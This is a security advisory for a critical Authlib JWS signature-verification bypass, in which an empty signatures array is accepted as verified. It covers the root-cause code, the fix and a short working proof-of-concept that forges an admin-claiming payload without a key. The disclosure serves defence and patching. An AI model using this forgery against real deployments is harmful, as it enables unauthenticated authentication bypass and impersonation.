GHSA-6v38-4h7w-rj9h: Critical severity pip/authlib vulnerability

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserializejson() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

python isvalid = True # set before anything is checked for headerobj in obj["signatures"]: # empty array means the body never runs jwsheader, valid = self.validatejsonjws(...) if not valid: isvalid = False ... if isvalid: return rv # returns the payload as verified

isvalid is initialised to True and only ever set to False from inside the loop. A JWS JSON Serialization object whose signatures array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

Reproduction

python import base64 from authlib.jose import JsonWebSignature

def b64(b): return base64.urlsafeb64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []}

print(jws.deserializejson(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError badsignature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with BadSignatureError. The correct behaviour already exists in your newer library.

Impact

Any relying party that calls JsonWebSignature.deserializejson() on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

What would fix it

In deserializejson, reject an empty signatures array before the loop, or initialise the flag from the signature count, for example isvalid = len(obj["signatures"]) > 0. Pull request #938 proposes the same thing.